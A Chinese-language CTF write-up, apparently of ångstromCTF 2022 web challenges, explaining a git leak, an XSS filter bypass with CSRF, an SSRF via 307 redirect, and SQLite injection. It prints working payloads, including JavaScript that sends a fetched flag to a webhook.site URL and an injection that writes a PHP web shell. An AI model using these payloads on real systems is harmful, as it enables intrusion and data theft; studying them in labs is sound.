五一这几天打了两场比赛,学到了点东西,miniL的web坐牢了,没做出啥题……

考点——任意文件读取+git泄露

一开始并没有看懂这道题的考点,后来学长提示了一下

主界面可以通过修改member后面的参数来读取其他图片以及文件(特有无意义截图

图片.png

题目也提及到了git这个词,意思即为利用git泄露拿到flag

git泄露——当开发人员使用git进行版本控制,对站点自动部署时,若配置不当,这个.git的文件夹会被部署到线上环境,这个文件夹里面保存了这个仓库的所有版本等一系列信息,攻击者可以利用.git文件夹内的信息获取应用程序所有的源代码,以及历史记录commit,尴尬,还没学git(

附上一个github的恢复git泄露历史记录的工具

https://github.com/WangYihang/GitHacker

然后可以参考上面的使用说明,先把这个源代码的文件夹保存到本地,先git reset HEAD^一次,再git show之后得到了flag

图片.png

Xtra Salty Sardines

沙丁鱼

考点——CSRF、XSS

这道题和之前picoctf的noted有一点像

源码当中对一些xss常用的字符进行了html字符的转义

1
2
3
4
5
6
const name = req.body.name
.replace("&", "&")
.replace('"', """)
.replace("'", "'")
.replace("<", "&lt;")
.replace(">", "&gt;");

虽然但是,它过滤了个寂寞,因为这个replace只会对你的句子检查一次,所以我们可以先把敏感字符都先输入一次,就像这样

1
&"'<><img src = 1 onerror="alert(1)">

图片.png

源码中还有一个关键的部分

1
2
3
4
5
6
7
8
// the admin bot will be able to access this
app.get("/flag", (req, res) => {
if (req.cookies.secret === secret) {
res.send(flag);
} else {
res.send("you can't view this >:(");
}
});

我们需要想办法让题目给的admin bot来访问/flag这个路径,然后我们还要想办法获得这个flag,一开始我以为是要获得cookie的,还纠结着怎么用document.cookie拿不到cookie,后来才发现是不需要cookie的,因为是CSRF哇,尴尬……还在这个问题上纠结了半天

这个admin bot好像有点不太聪明的亚子——它只能访问我们给定的url,并不能在上面输入代码执行

而且你在主界面每一次make sardines的时候是会生成一个url的,这其实就暗示我们需要让admin bot去访问我们给定的url界面,这个url界面需要有我们已经布置好的js代码,adminbot 执行页面上的代码去访问 flag,再把这个flag返回到自己的服务器即可

一开始是想到了用window.open的方法,不过行不通,后来知道是因为window.open是新打开一个新的标签页,读取flag和发送flag的操作都需要在同一个窗口页面上完成(这估计和机器人的权限保持相关,当碰到这种情况的时候就得考虑使用xhr或是fetch的方法来CSRF

借用一下学长的payload

1
2
3
4
5
6
7
8
const xhr1 = new XMLHttpRequest()
xhr1.open("GET", "https://xtra-salty-sardines.web.actf.co/flag")
xhr1.onload = function() {
const xhr2 = new XMLHttpRequest()
xhr2.open("GET", "https://webhook.site/xxxxxxx/"+encodeURIComponent(xhr1.responseText))
xhr2.send()
}
xhr1.send()

感觉webhook这个在线工具可能比较适合我这个懒人2333

哦对了,如果上面的payload打不通,可以将xhr1.onloadxhr1.send()的位置调换

不过,因为js异步执行的特性,需要先设置事件处理器onload再执行send操作,如果两者顺序颠倒,有的时候,事件处理器onload的执行无效

school unblocker

这道题需要注意301307状态码的区别

301:说明请求的资源已经被移动到了由Location头部指定的url上,是固定的不会再改变

307:临时重定向响应状态码,表示请求的资源暂时地被移动到了响应的Location首部所指向的 URL 上

一时还没有明白弄懂这个的实际意义,先把源码审下(

这道题有个a proxy service的服务,在里面输入url会browse到对应的url上

a proxy service的源码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
app.post("/proxy", async (req, res) => {
try {
const url = new URL(req.body.url);
const originalHost = url.host;
if (!isIpv4(url.hostname)) {
const ips = await resolve4(url.hostname);
// no dns rebinding today >:)
url.hostname = ips[0];
}
if (!isPublicIp(url.hostname)) {
res.type("text/html").send("<p>private ip contents redacted</p>");
} else {
const abort = new AbortController();
setTimeout(() => abort.abort(), 3000);
const resp = await fetch(url.toString(), {
method: "POST",
body: "ping=pong",
headers: {
Host: originalHost,
"Content-Type": "application/x-www-form-urlencoded"
},
signal: abort.signal,
});
res.type("text/html").send(await resp.text());
}
} catch (err) {
res.status(400).type("text/plain").send("got error: " + err.message);
}
});

获得flag的源码部分

1
2
3
4
5
6
7
8
9
10
// make flag accessible for local debugging purposes only
// also the nginx is at a private ip that isn't 127.0.0.1
// it's not that easy to get the flag :D
app.post("/flag", (req, res) => {
if (!["127.0.0.1", "::ffff:127.0.0.1"].includes(req.socket.remoteAddress)) {
res.status(400).type("text/plain").send("You don't get the flag!");
} else {
res.type("text/plain").send(flag);
}
});

这个req.socket.remoteAddress和请求的ip地址相关,所以意思是需要请求来自于127.0.0.1的ip访问,才能拿到flag,这个::ffff:127.0.0.1指的是位于IPv6(128位)空间内的IPv4(32位)地址的子网前缀(完蛋,根本不懂

如果尝试直接使用http://127.0.0.1:8080/flagproxy service直接访问的话,会显示private ip contents redacted

对应源码(节选)

1
2
3
4
5
6
7
8
9
10
11
app.post("/proxy", async (req, res) => {
try {
const url = new URL(req.body.url);
const originalHost = url.host;
if (!isIpv4(url.hostname)) {
const ips = await resolve4(url.hostname);
// no dns rebinding today >:)
url.hostname = ips[0];
}
if (!isPublicIp(url.hostname)) {
res.type("text/html").send("<p>private ip contents redacted</p>");

ipv4补一下

图片.png

不满足ipv4的ip会被处理,不过这里不需要管它,127.0.0.1已经满足条件了

这个isPublicIp函数会对你输入的ip进行检查,当输入127.0.0.1的时候,由于chunks[0]的值是127,因此会返回false的值,自然就不会允许你进行访问了,意思应该是要使用一些“间接”的手法来访问了(下面的方法个人理解是利用重定向来跨越检查)

flag源码注释部分的意思大致是——只能在本地的调试当中获得flag,nginx的私有ip(内网ip)不是127.0.0.1(意思应该就是127.0.0.1是nginx的外网ip)(虽然我根本没看出来这哪里是nginx起的服务了……

需要在本地开个端口监听

在你自己的服务器上开个脚本(注意不要是你的本地环境,需要的是公网的ip)然后在那个proxy service上的url输入http://ip:port可以拿到flag

查了一下mdn,就是说307和301(或是302等其他的重定向)有一点区别

图片.png

payload如下,没加app.listen,一直没试成功,暴露了还没学node js的我,改日去学)

1
2
3
4
5
6
7
8
9
10
11
12
const express = require("express");

const app = express();

app.get("/", (req, res) => {
console.log(new Date(), req.ip);
res.redirect(307, "http://127.0.0.1:8080/flag");
})

app.listen(60025,() =>{
console.log('now listening on port 60025');
})

flag:actf{dont_authenticate_via_ip_please}

No flags?

可以得出数据库是SQLite,但是问题在于根本没有flag的任何信息(数据,表和列等),还得想一个其他的方法

图片.png

这道题得用SQLite写个shell得到flag,因为这个dockerfile里面有chmod等需要在shell上面执行的命令,意思就是说我们需要使用SQLite来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
FROM php:8.1.5-apache-bullseye

# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html

RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
chown -R root:root /var/www/html/abyss &&\
chmod -R 333 abyss

EXPOSE 80

重点在dockerfile的chmod -R 333 abyss上,这说明可以往abyss路径里面写入某些文件

学习一下,附上个链接https://xz.aliyun.com/t/101#toc-1

大致的方法是可以生成一个php后缀的数据库文件(视具体语言环境而定,sqlite的数据库是一个文件)

然后可以结合堆叠注入构造一个这样的payload,注意在源码里面的sqlite语句的闭合方式,sqlite的注释符为--,emm,这语法一时看不习惯……该解另参考自https://github.com/satoki/ctf_writeups/tree/master/%C3%A5ngstromCTF_2022/No_Flags%3F

1
'); ATTACH DATABASE '/var/www/html/abyss/try.php' as run;CREATE TABLE run.mod(dataz text);INSERT INTO run.mod (dataz) VALUES ('<?php system($_GET["cmd"]); ?>'); --

访问url:https://no-flags.web.actf.co/abyss/try.php?cmd=/printflag

注意,这个php文件已经是一个数据库的文件了,和传统意义上的php文件已经不一样了

图片.png

而且,sqlite的数据库文件是二进制文件(应该),所以会有些乱码一样的字符

这flag的嘲讽意义满满2333